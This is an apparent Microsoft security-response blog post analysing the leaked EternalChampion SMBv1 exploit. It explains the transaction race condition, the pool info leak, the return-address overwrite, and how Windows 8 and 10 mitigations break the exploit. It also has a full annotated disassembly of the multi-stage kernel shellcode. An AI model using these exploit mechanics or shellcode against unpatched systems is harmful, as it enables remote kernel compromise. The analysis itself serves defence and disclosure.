Skip to main content
MSRC

Eternal Champion Exploit Analysis

Recently, a group named the ShadowBrokers published several remote server exploits targeting various protocols on older versions of Windows. In this post we are going to look at the EternalChampion exploit in detail to see what vulnerabilities it exploited, how it exploited them, and how the latest mitigations in Windows 10 break the exploit as-written.

In the coming weeks you can expect to see similar analysis for a number of other “Eternal” exploits.

The vulnerabilities exploited in this blog post were fixed with MS17-010; customers who have installed all patches are protected.

Overview

Eternal Champion is a post authentication SMB v1 exploit targeting Windows XP through Windows 8. As we’ll show, the exploit relies on techniques that have been mitigated since Windows 8 and further mitigated in Windows 10.

This analysis will examine the exploit targeting Windows 7 x64 RTM.

Vulnerability

The issue exploited is a race condition in how SMBv1 handles transactions. A transaction is a type of request that can potentially span multiple packets.

For example, if a request is too large to fit in a single server message block (SMB), a transaction can be created of the appropriate size and this transaction will store the data as it is received from multiple SMBs. Note that multiple SMBs can be contained in a single packet, or they can be spread out over multiple packets.

A transaction is first created using a primary request. The data from the request is copied in to the transaction, and the transaction is added to a transaction list for the connection. If all expected data was received, the transaction is immediately executed. Secondary requests can be made to add additional data to the transaction until the transaction has received all expected data.

There is an issue in the case that the primary transaction contains all expected data: The transaction isn’t marked as “being executed”, but is placed in the transaction list, and is sent to the “ExecuteTransaction” function. This means a race is possible: secondary requests can be made (handled on separate threads) that modify the transaction while it is being executed by ExecuteTransaction.

ExecuteTransaction doesn’t expect this to be possible and having transaction data being modified while it is running, combined with loose parameter validation, can result in access violations.

Exploit

This vulnerability is exploited in two ways. First for an information leak, and second for remote code execution.

Info Leak

The bug is first exploited to leak pool information via an out-of-bounds read. To do this, a single packet containing multiple SMBs is sent to the server.

Before going in to the chain of events that occurs, here is a TRANSACTION data structure with relevant fields to this exploit:

srv!TRANSACTION
+0x010 Connection       : Ptr64 _CONNECTION
+0x080 InData           : Ptr64 Char // data received
+0x088 OutData          : Ptr64 Char // data to send (same buffer as InData)
+0x0a4 DataCount        : Uint4B // data received so far
+0x0a8 TotalDataCount   : Uint4B // total data expected (size of InData)
+0x0e3 Executing        : UChar

The packet sent to the server contains three primary pieces:

  1. A NT Primary Transaction request for the function NT RENAME. This request contains all expected data and will be immediately executed.
  2. A NT Secondary Transaction request designed to trigger the race condition for the primary request.
  3. A series of Primary Transaction requests intended to spray the pool with srv!TRANSACTION structures. The goal is to get one of these structures allocated directly after the srv!TRANSACTION structure that tracks the first NT Primary Transaction request.

The initial transaction created is for an NT RENAME request. This function is effectively a no-op that reads the request in to its InData buffer, sets DataCount to be the number of bytes copied, and later returns DataCount bytes from its OutBuffer (which points at the InBuffer) back to the client (simply echoing back what the client sent it).

Note that because the primary request contains all expected data, DataCount == TotalDataCount.

The secondary transaction request takes advantage of the previously described race and some additional issues.

When processing the secondary transaction, parameter validation is too relaxed. The function validates that the data the client sent will fit in the InData buffer and if so, copies the data in. Note that the client tells the server the offset in to InData to write data, and the number of bytes to write. This allows a legitimate client to fill in all pieces of the transaction using multiple SMBs. This validation was okay.

The transaction also has a DataCount field which tracks the number of bytes received, and TotalDataCount which is the size of the InData buffer. When the secondary transaction request handler writes data to InData, DataCount is incremented by the number of bytes written. While there is code that validates that InData isn’t overflowed, there were no checks ensuring that DataCount doesn’t exceed TotalDataCount.

Normally this wouldn’t be too much of an issue because the secondary transaction request handler will not execute the transaction unless DataCount == TotalDataCount. Unfortunately, another thread is already executing ExecuteTransaction on this transaction due to the race condition under attack.

The in-progress ExecuteTransaction ends up copying back DataCount bytes from InData, but DataCount has been incremented to be bigger than the size of InData by the secondary transaction request thread, resulting in out-of-bounds data being sent back to the client. This out-of-bounds data contains the contents of one of the TRANSACTION structures that was sprayed to the pool. The exploit’s goal is to leak back the “Connection” pointer contained in the TRANSACTION structure.

SMB Processing, first and second example

Remote Code Execution

The vulnerability is exploited in a similar way for remote code execution, this time using a Transaction2/Transaction2Secondary request instead of using an NT Transaction.

First, a transaction is created that contains the shellcode. This transaction isn’t used to trigger the bug; it just contains the second stage payload.

Next, a packet is sent that contains multiple SMBs. The packet contains:

  1. A Trans2 Primary SMB to do a QueryPathInfo
  2. Several Trans2 Secondary SMBs to trigger a race condition

The Trans2 Primary SMB once again contains all expected transaction data and immediately begins execution. Eventually the function SrvSmbQueryPathInformation executes. This function has one particularly nice line of code for an attacker:

transaction->InData = (PVOID)&objectName;

This line of code is making the transaction’s InData pointer point at a stack variable.

Because of the previously described race, as this happens there are other threads simultaneously processing the Trans2 Secondary SMBs. As noted previously, the secondary transaction handler ensures the secondary transaction request’s data can fit in the InData buffer and if so, copies it. Except due to the race, the InData pointer now points to the stack of the primary transaction request handlers thread (as opposed to the expected pool buffer). This allows an attacker to write their data directly to the stack of another thread.

if ( dataCount != 0 ) {
    RtlMoveMemory(
                  transaction->InData + dataDisplacement,//displacement attacker controlled
                  (PCHAR)header + dataOffset, // attackers data within the request
                  dataCount //dataCount is attacker controlled
                  );
}

The attacker has control over the displacement from InData to copy the data in addition to the amount of data to copy. This allows them to precisely overwrite a return address stored on the stack of the primary transaction request handlers thread.

Payload

At this stage, the attacker can overwrite a return address on another thread in a precise manner (no other data will be tampered with). Because the saved return address being overwritten is in another thread, there’s not necessarily a guarantee that the registers will contain useful information for building a stack pivot and ultimately performing ROP.

In the info leak stage, the attacker leaked the address of a CONNECTION object. One of the fields in this object is a UNICODE_STRING named ClientOSType which contains an attacker controlled UNICODE_STRING that gets set during the initial connection handshake. The attacker can also control the value of Length and MaximumLength in the UNICODE_STRING based on their initial handshake.

ntdll!UNICODE_STRING
+0x000 Length           : Uint2B
+0x002 MaximumLength    : Uint2B
+0x008 Buffer           : Ptr64 Wchar

A UNICODE_STRING has 4 padding bytes (in this case set to 0) between the MaximumLength and Buffer fields, and Buffer points to attacker controlled data.

With this knowledge in mind, an attacker forces the MaximumLength to be 0x15ff. The attacker overwrites the return address to be the address of CONNECTION->ClientOSType.MaximumLength. When this (combined with the 4 padding bytes) is interpreted as an instruction, we get:

fffffa83`0398e3ea ff1500000000    call    qword ptr [fffffa83`0398e3f0]

This calls the address stored immediately after this instruction. The address immediately after this instruction is the “Buffer” pointer, so this calls in to the attacker controlled ClientOSType data buffer. Note that since this is a call instruction, the return address pushed on to the stack is the address of the “Buffer” field.

See below for a detailed analysis of the shellcode that is executed. The cliff notes are:

Stage 1 (position independent shellcode):

  1. Pop off the return address from the stack to get the address of CONNECTION->ClientOSType.Buffer
  2. Use this knowledge to loop through the linked list of TRANSACTIONS stored at CONNECTION->TransactionList
  3. Look for a transaction that starts with a special identifier, this contains Stage2 shellcode
  4. Copy Stage2 shellcode from the transaction in to the data buffer immediately after Stage1
  5. Execute it

Stage 2:

  1. Do additional sanity checks
  2. Execute user supplied (via fuzzbunch) shellcode

Mitigations Impact on Exploit

As noted above, Windows 8 x64 (and newer) platforms weren’t affected by this exploit. The primary reason for this is because starting with Windows 8, a large amount of the kernel virtual address space (including the paged and non-paged pool) was made non-executable. Because each stage of this exploit depends on executing memory out of the pool, the exploit as-written will not work against Windows 8 x64 and above. For more information on the NX changes made for Windows 8, see: http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf.

For application compatibility reasons, 32-bit versions of Windows still have an executable paged pool (among other regions), so the exploit does successfully target 32bit Windows 8.

Looking beyond Windows 8, Microsoft has made additional improvements to kernel security in Windows 10 which make exploitation of this vulnerability more difficult:

  1. Hypervisor-enforced Code Integrity (HVCI) prevents unsigned kernel pages from being executed, further blocking exploitation avenues.
  1. Windows 10 1607 and 1703 introduced full 64-bit kernel ASLR (all regions except HAL heap randomized in 1607, HAL heap randomized in 1703) which will make adapting this vulnerability to more modern platforms more difficult (a more involved exploit would be required to bypass the NX memory mitigations).

Final Words

I’d like to extend a thank you to Swamy Shivaganga Nagaraju and Nicolas Joly (MSRC Vulnerabilities and Mitigations Team) and Viktor Brange (WDG OSR team) for their notes and help provided in identifying these race conditions.

- Joe Bialek from MSRC Vulnerabilities and Mitigations Team

Shellcode

;;;;;;;;;;;;;;;;;;;;
; STAGE 0
;;;;;;;;;;;;;;;;;;;;

;
; Stage 0 is extremely simple. It is a UNICODE_STRING structure stored at
<span>; </span>CONNECTION->ClientOSType. This UNICODE_STRING is initialized
; when the attacker first connects to the SMB server. It's Length,
<span>; </span>MaximumLength, and contents of Buffer are attacker controlled or influenced.
; The attacker makes the MaximumLength of the UNICODE_STRING be 0x15ff.
<span>; </span>The 4 padding bytes inbetween MaximumLength and Buffer are 0.
; When MaximumLength is executed as an instruction, these 4 bytes result
<span>; </span>in a relative call to the address stored immediately after the
; instruction. This results in the first byte of the buffer pointed to
<span>; </span>by Buffer being executed next, as the Stage 1 shellcode.
;

fffffa83`0398e3ea ff1500000000    call    qword ptr [fffffa83`0398e3f0]

;;;;;;;;;;;;;;;;;;;;
; END OF STAGE 0
;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;
; STAGE 1
;;;;;;;;;;;;;;;;;;;;

;
; The stage 1 shellcode is located within the CONNECTION->ClientOSType.Buffer
<span>; </span>buffer. The point of this shellcode is
; to copy in custom shellcode from a TRANSACTION and execute it.
;

<span style="font-weight: normal !msorm"><strong>stage1_shellcode_entry:</strong></span>

;
; This determines the location of a the connection
<span>; </span>structure for this SMB connection by popping r8.
<span>; </span>This pops the return address of the stack
; which happens to be the address of CONNECTION->Buffer
<span>; </span>(because that is where this was called from).
<span>; </span>Knowing where the CONNECTION structure
; is located, an attacker can search through the
<span>; </span>PAGED_CONNECTION->TransactionList looking for a
<span>; </span>transaction with a magic identifier.
;

<span>; The first instruction jmps a little ways down over </span>
<span>; some data embedded in the shellcode. They need to </span>
<span>; start with a jump (as opposed to embedding data first </span>
<span>; </span><span>thing and calling to the spot the instructions start) </span>
<span>; </span><span>because they can only call directly in to this buffer, </span>
<span>; </span><span>not to an offset within it.</span>
fffffa83`02dbb010 eb08            jmp     fffffa83`02dbb01a

<strong><< some_embedded_data >></strong>

<span>; Pop off the return instruction from the stack. </span>
<span>; The return instruction is: &(CONNECTION->ClientOSType.Buffer)</span>
fffffa83`02dbb01a 4158            pop     r8
fffffa83`02dbb01c 50              push    rax
fffffa83`02dbb01d 50              push    rax

<span>; lea of part of some_embedded_data</span>
fffffa83`02dbb01e 488d0df4ffffff  lea     rcx,[fffffa83`02dbb019]

<span>; Starts off at 1 in my test. Seems to be a test if </span>
<span>; custom shellcode needs to be copied in from another </span>
<span>; buffer or if the default shellcode should be used. </span>
<span>; This could be some sort of multithreaded guard.</span>
fffffa83`02dbb025 8a01            mov     al,byte ptr [rcx]
fffffa83`02dbb027 84c0            test    al,al
<span> </span>
<span>; jmp to </span><span>stage2_shellcode_entry</span>
fffffa83`02dbb029 745b            je      fffffa83`02dbb086

<span>; *rcx this was initially 1, now set it to 0</span>
fffffa83`02dbb02b c60100          mov     byte ptr [rcx],0
fffffa83`02dbb02e 31c0            xor     eax,eax

<span>; Retrieve an offset some_embedded_data (it is 0x228 in my test)</span>
fffffa83`02dbb030 668b05dbffffff  mov     ax,word ptr [fffffa83`02dbb012]

<span>; sub 0x228 from the r8 pointer (which pointed </span>
<span>; to &(CONNECTION->ClientOSType.Buffer). </span>
<span>; r8 is now &(CONNECTION->PagedConnection)</span>
fffffa83`02dbb037 4929c0          sub     r8,rax

<span>; rax = PAGED_CONNECTION corrosponding to the CONNECTION </span>
fffffa83`02dbb03a 498b00          mov     rax,qword ptr [r8]   

<span>; rax = The first TRANSACTION in the linked list </span>
<span>; from PAGED_CONNECTION->TransactionList.Flink </span>
fffffa83`02dbb03d 488b4010        mov     rax,qword ptr [rax+10h]
fffffa83`02dbb041 4831d2          xor     rdx,rdx

<span>; Read in the offset between TRANSACTION->ConnectionListEntry </span>
<span>; and TRANSACTION->InData from some_embedded_data. In my test this is 0x58.</span>
fffffa83`02dbb044 8a15ceffffff    mov     dl,byte ptr [fffffa83`02dbb018]

<span>; Read in data I'll refer to as "AttackerTransactionMarker" </span>
<span>; from some_embedded_data</span>
fffffa83`02dbb04a 448b15c3ffffff  mov     r10d,dword ptr [fffffa83`02dbb014]

<span>; Save the transaction list head so we don't infinite loop </span>
<span>; if a matching TRANSACTION isn't found </span>
fffffa83`02dbb051 4989c3          mov     r11,rax   

<span>; Load the first QWORD from srv!TRANSACTION->InData </span>
fffffa83`02dbb054 488b0c10        mov     rcx,qword ptr [rax+rdx]

<span>; Check if the first DWORD of the </span>
<span>; srv!TRANSACTION->InData == AttackerTransactionMarker</span> 
fffffa83`02dbb058 443b11          cmp     r10d,dword ptr [rcx]  

<span>; If a match is found, jmp to matching_transaction_found </span>
fffffa83`02dbb05b 740a            je      fffffa83`02dbb067  

<span>; Otherwise, look at the next TRANSACTION in the linked list</span>  
fffffa83`02dbb05d 488b00          mov     rax,qword ptr [rax]

<span>; Compare the current element to the list head</span> 
fffffa83`02dbb060 4c39d8          cmp     rax,r11     

<span>; If no matching TRANSACTION was found (end of list), </span>
<span>; jmp to an instruction that puts us in an infinite </span>
<span>; loop (to stop from crashing I guess)</span>     
fffffa83`02dbb063 741f            je      fffffa83`02dbb084 

<span>; Loop back up searching the next linked structure </span>
fffffa83`02dbb065 ebed            jmp     fffffa83`02dbb054 

<span style="font-weight: normal !msorm"><strong>matching_transaction_found:</strong></span>
;
; If a matching transaction is found, copy the payload
<span>; </span>contained in the transaction in to this buffer
<span>; </span>(after the Stage1 payload). Execute it.
;
fffffa83`02dbb067 57              push    rdi
fffffa83`02dbb068 56              push    rsi

<span>; rdi = Stage1 start address</span>
fffffa83`02dbb069 488d3da0ffffff  lea     rdi,[fffffa83`02dbb010]
fffffa83`02dbb070 31c0            xor     eax,eax
fffffa83`02dbb072 b076            mov     al,76h

<span>; dest = </span><span>stage2_shellcode_entry</span>
fffffa83`02dbb074 4801c7          add     rdi,rax

<span>; source == TRANSACTION->InData+0x8 (need to skip past the marker)</span>
fffffa83`02dbb077 488d7108        lea     rsi,[rcx+8] 

<span>; rep count == the second DWORD of the InData buffer </span>
<span>; (first DWORD was the AttackerTransactionMarker to look for)</span>
fffffa83`02dbb07b 8b4904          mov     ecx,dword ptr [rcx+4]

<span>; Copy the second stage shellcode in from the </span>
<span>; TRANSACTION->InData+8 to </span><b><span>stage2_shellcode_entry</span></b>
fffffa83`02dbb07e f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
fffffa83`02dbb080 5e              pop     rsi
fffffa83`02dbb081 5f              pop     rdi

<span>; jump to </span><span>stage2_shellcode_entry</span>
fffffa83`02dbb082 eb02            jmp     fffffa83`02dbb086


<span style="font-weight: normal !msorm"><strong>infinite_loop:</strong></span>
fffffa83`02dbb084 ebfe            jmp     fffffa83`02dbb084


;;;;;;;;;;;;;;;;;;;;

; END OF STAGE 1

;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;

; STAGE 2 SHELLCODE

;;;;;;;;;;;;;;;;;;;;
;
; The second stage of shellcode is read in from a TRANSACTION record.
; The point of this stage is to either:
; 1: Transfer execution to custom attacker supplied shellcode
; 2: Recover this thread and resume normal execution
<span>;      </span>on it (in the case that the attacker shellcode has already run)
;

<span style="font-weight: normal !msorm"><strong>stage2_shellcode_entry:</strong></span>

;
; This block has a check to ensure the custom shellcode
<span>; </span>is only run once. If it hasn't been run, it is executed.
; Otherwise, cleanup steps are taken to return this
<span>; </span>thread to normal execution.
;
fffffa83`02dbb086 488d0de7000000  lea     rcx,[fffffa83`02dbb174]

<span>; retrieve the last byte prior to payload</span>
fffffa83`02dbb08d 8a01            mov     al,byte ptr [rcx]
fffffa83`02dbb08f 84c0            test    al,al

<span>; if it was zero, go to code that attempts to gracefully </span>
<span>; </span><span>cleanup the exploit and resume normal execution</span>
fffffa83`02dbb091 7408            je      fffffa83`02dbb09b

<span>; set the byte to 0 (some sort of multithread guard</span><span> I believe</span><span>)</span>
fffffa83`02dbb093 c60100          mov     byte ptr [rcx],0

<span>; call MY_CUSTOM_PAYLOAD</span>
fffffa83`02dbb096 e8da000000      call    fffffa83`02dbb175

<span style="font-weight: normal !msorm"><strong>cleanup_and_resume_main:</strong></span>

;
; It appears this code looks at the ETHREAD to find a pointer<span> (code or pool)</span>.
<span>; </span>Depending on rax determines what state the worker thread is currently in.
; Depending on th<span>i</span>s state, the appropriate cleanup actions are taken
<span>; </span>which can consist of either:
;    1: Scanning the page for a relative jmp and taking that jmp
;    2: Adjusting the stack (rsp) and setting up some registers &
<span>;       </span>other data, and jmping into the start of srv!WorkerThread to
<span>;       </span>resume worker thread processing
;
<span>; Note that I wasn’t able to trigger condition 1 on my system so</span>
<span>; it is unknown to me what the jmp is that they are taking.</span>
<span>;
</span>
<span>; Call get_pointer_from_ethread</span><span> to get a code pointer to NT</span>
fffffa83`02dbb09b e84d000000      call    fffffa83`02dbb0ed
fffffa83`02dbb0a0 4889c2          mov     rdx,rax
fffffa83`02dbb0a3 58              pop     rax
fffffa83`02dbb0a4 59              pop     rcx

<span>; check if the rax value initially pushed to the </span>
<span>; stack (start of shellcode) == 3 (it is on my system)</span>
<span>; jmp to cleanup_resume_to_worker_thread</span>
fffffa83`02dbb0a5 4883f803        cmp     rax,3
fffffa83`02dbb0a9 741f            je      fffffa83`02dbb0ca

<span>; check if the rax value initially pushed to the </span>
<span>; stack (start of shellcode) == 0</span>
<span>; jmp to cleanup_resume_to_worker_thread</span>
fffffa83`02dbb0ab 4883f800        cmp     rax,0
fffffa83`02dbb0af 7419            je      fffffa83`02dbb0ca

<span>; if we get to this point, it seems to be expected that</span>
<span>; get_pointer_from_ethread didn’t return ETHREAD->StartAddress</span>
<span>; and instead returned a pool address.</span>
<span>; add 0x80 to the value previously returned</span>
fffffa83`02dbb0b1 4881c280000000  add     rdx,80h

<span>; check if this address == 0x15ff (looking for </span>
<span>; the UNICODE_STRING containing the payload)</span>
fffffa83`02dbb0b8 66813aff15      cmp     word ptr [rdx],15FFh
fffffa83`02dbb0bd 7405            je      fffffa83`02dbb0c4

<span>; increment the pointer and loop back around to continue searching</span>
fffffa83`02dbb0bf 48ffc2          inc     rdx
fffffa83`02dbb0c2 ebf4            jmp     fffffa83`02dbb0b8

<span>; increment through the UNICODE_STRING.MaximumLength </span>
<span>; and 6 padding byte to the Buffer pointer, jump to it</span>
fffffa83`02dbb0c4 4883c206        add     rdx,6
fffffa83`02dbb0c8 ffe2            jmp     rdx

<span style="font-weight: normal !msorm"><strong>cleanup_resume_to_worker_thread:</strong></span>
;
; Cleanups up and starts execution at srv!WorkerThread<span>.</span>
<span>; In this case it is expected that get_pointer_from_ethread</span>
<span>; returned ETHREAD->StartAddress which points to srv!WorkerThread.</span>
;

<span>; rbx = SrvBlockingWorkQueues</span>
fffffa83`02dbb0ca 4989d8          mov     r8,rbx
fffffa83`02dbb0cd b850000000      mov     eax,50h

<span>; rcx = &(SrvBlockingWorkQueues->AvailableThreads)</span>
fffffa83`02dbb0d2 4a8d0c00        lea     rcx,[rax+r8]
fffffa83`02dbb0d6 31c0            xor     eax,eax
fffffa83`02dbb0d8 ffc0            inc     eax

<span>; Increment the number of available threads by 1</span>
fffffa83`02dbb0da f00101          lock add dword ptr [rcx],eax

<span>; load  data value (0x48 in this case), add it to the stack pointer</span>
fffffa83`02dbb0dd 8b058d000000    mov     eax,dword ptr [fffffa83`02dbb170]
fffffa83`02dbb0e3 4801c4          add     rsp,rax
fffffa83`02dbb0e6 4c89c1          mov     rcx,r8

<span>; jmp to rdx which is srv!WorkerThread, effectively resuming </span>
fffffa83`02dbb0e9 ffe2            jmp     rdx


<span style="font-weight: normal !msorm"><strong>infinite_loop:</strong></span>
fffffa83`02dbb0eb ebfe            jmp     fffffa83`02dbb0eb


<span style="font-weight: normal !msorm"><strong>get_pointer_from_ethread:</strong></span>
<span>; Seems to return one of 3 things. Some of these fields are in enums and</span>
<span>; I didn’t test across all versions of Windows which may influence the results.</span>
<span>; In my test the EHTREAD->StartAddress was leaked, but these seem to be</span>
<span>; the three options: </span>
<span>; ETHREAD->StartAddress,</span><span> (code pointer to srv!WorkerThread)</span>
<span>; ETHREAD->TerminationPort, </span><span>(pool pointer)</span>
<span>; ETHREAD->AlpcWaitSemaphore.Header.WaitListHead.Blink</span><span> (pool pointer)</span>

<span>; rdx = KPCR->Prcb.CurrentThread (KTHREAD)</span>
fffffa83`02dbb0ed 65488b142588010000 mov   rdx,qword ptr gs:[188h]

<span>; Load some constant (0x00000388)</span>
fffffa83`02dbb0f6 8b0d70000000    mov     ecx,dword ptr [fffffa83`02dbb16c]
fffffa83`02dbb0fc 85c9            test    ecx,ecx

<span>; jump to get_pointer_from_ethread_alt</span><span> if constant was 0</span>
fffffa83`02dbb0fe 7416            je      fffffa83`02dbb116


<span style="font-weight: normal !msorm"><strong>get_startaddress_or_TerminationPort_from_ETHREAD:</strong></span>
<span>; index 0x0388 into ETHREAD (&ETHREAD->StartAddress)</span>
fffffa83`02dbb100 4801ca          add     rdx,rcx

<span>; rax = ETHREAD->StartAddress</span><span>, this is the code path I saw in testing</span>
fffffa83`02dbb103 488b02          mov     rax,qword ptr [rdx]
fffffa83`02dbb106 4885c0          test    rax,rax

<span>; if StartAddress != null, return StartAddress</span>
fffffa83`02dbb109 7538            jne     fffffa83`02dbb143

<span>; rax = ETHREAD->TerminationPort, return if not null</span>
fffffa83`02dbb10b 488b4208        mov     rax,qword ptr [rdx+8]
fffffa83`02dbb10f 4885c0          test    rax,rax
fffffa83`02dbb112 752f            jne     fffffa83`02dbb143

<span>; if both were null, jump to infinite_loop</span>
fffffa83`02dbb114 ebd5            jmp     fffffa83`02dbb0eb


<span style="font-weight: normal !msorm"><strong>get_pointer_from_ethread_alt:</strong></span>

;
; Get the base address of NT. Based on the value
<span>; </span>of e_lfanew, parse in to the ETHREAD and retrieve a pointer.
;

fffffa83`02dbb116 52              push    rdx

<span>; call find_ntos_kernel_base, eax = ntos kernel base when done</span>
fffffa83`02dbb117 e828000000      call    fffffa83`02dbb144
fffffa83`02dbb11c 5a              pop     rdx

<span>; rax = DOS_HEADER.e_lfanew address, ecx = e_lfanew</span>
fffffa83`02dbb11d 4883c03c        add     rax,3Ch
fffffa83`02dbb121 8b08            mov     ecx,dword ptr [rax]

<span>; </span><span>jump if e_lfanew == 0xe8</span>
<span>fffffa83`02dbb123 81f9e8000000    cmp     ecx,0E8h </span>
fffffa83`02dbb129 740a            je      fffffa83`02dbb135

<span>; jump if e_fanew == 0xf0</span>
fffffa83`02dbb12b 81f9f0000000    cmp     ecx,0F0h
fffffa83`02dbb131 7406            je      fffffa83`02dbb139

<span>; unrecognized e_lfanew, jump to infinite_loop</span>
fffffa83`02dbb133 ebb6            jmp     fffffa83`02dbb0eb
fffffa83`02dbb135 4883c218        add     rdx,18h

<span>; return ETHREAD->AlpcWaitSemaphore.Header.WaitListHead.Blink</span>
fffffa83`02dbb139 4881c2c0030000  add     rdx,3C0h
fffffa83`02dbb140 488b02          mov     rax,qword ptr [rdx]

<strong>return:</strong>
fffffa83`02dbb143 c3              ret


<span style="font-weight: normal !msorm"><strong>find_ntos_kernel_base:</strong></span>

;
; Look at the first entry of the IDT. Use this to find
<span>; </span>the base address of NT by looking for the 'MZ' header 1 page at a time.
;

<span>; rax = KPCR->IdtBase</span>
fffffa83`02dbb144 65488b042538000000 mov   rax,qword ptr gs:[38h]

<span>; rax = *(QWORD*)((UCHAR)KPCR->IdtBase + 4) (for KiDivideErrorFault</span>
<span>;  interrupt). This is reading part of the IDT entry (including </span>
<span>; OffsetMiddle and OffsetHigh) which gives them the 6 most </span>
<span>; significant bytes of the virtual address for the KiDivideErrorFault </span>
<span>; interrupt handler.</span>
fffffa83`02dbb14d 488b4004        mov     rax,qword ptr [rax+4]

<span>; Clear out the bottom 12 bits. Bit 15 remains because it is </span>
<span>; </span><span>set to 1 (present) which makes the low USHORT greater than 0.</span>
fffffa83`02dbb151 48c1e80c        shr     rax,0Ch
fffffa83`02dbb155 48c1e00c        shl     rax,0Ch
fffffa83`02dbb159 668b10          mov     dx,word ptr [rax]

<span>; look for the MZ header, return if found</span>
fffffa83`02dbb15c 6681fa4d5a      cmp     dx,5A4Dh
fffffa83`02dbb161 7408            je      fffffa83`02dbb16b

<span>; subtract a page and continue looking for the base of ntoskrnl</span>
fffffa83`02dbb163 482d00100000    sub     rax,1000h
fffffa83`02dbb169 ebee            jmp     fffffa83`02dbb159
fffffa83`02dbb16b c3              ret

<strong><<stage2_data>></strong>
fffffa83`02dbb16c 8803            mov     byte ptr [rbx],al
fffffa83`02dbb16e 0000            add     byte ptr [rax],al
fffffa83`02dbb170 480000          add     byte ptr [rax],al
fffffa83`02dbb173 0001            add     byte ptr [rcx],al


<span style="font-weight: normal !msorm"><strong>MY_CUSTOM_PAYLOAD:</strong></span>

;
; The custom payload that EternalChampion allows the attacker to supply.
;

fffffa83`02dbb175 cc              int     3
fffffa83`02dbb176 cc              int     3
fffffa83`02dbb177 cc              int     3
fffffa83`02dbb178 cc              int     3
fffffa83`02dbb179 cc              int     3
fffffa83`02dbb17a cc              int     3
fffffa83`02dbb17b cc              int     3
fffffa83`02dbb17c cc              int     3

;;;;;;;;;;;;;;;;;;;;
; END OF STAGE 2
;;;;;;;;;;;;;;;;;;;;

How satisfied are you with the MSRC Blog?

Rating

Feedback * (required)

Your detailed feedback helps us improve your experience. Please enter between 10 and 2,000 characters.

Thank you for your feedback!

We'll review your input and work on improving the site.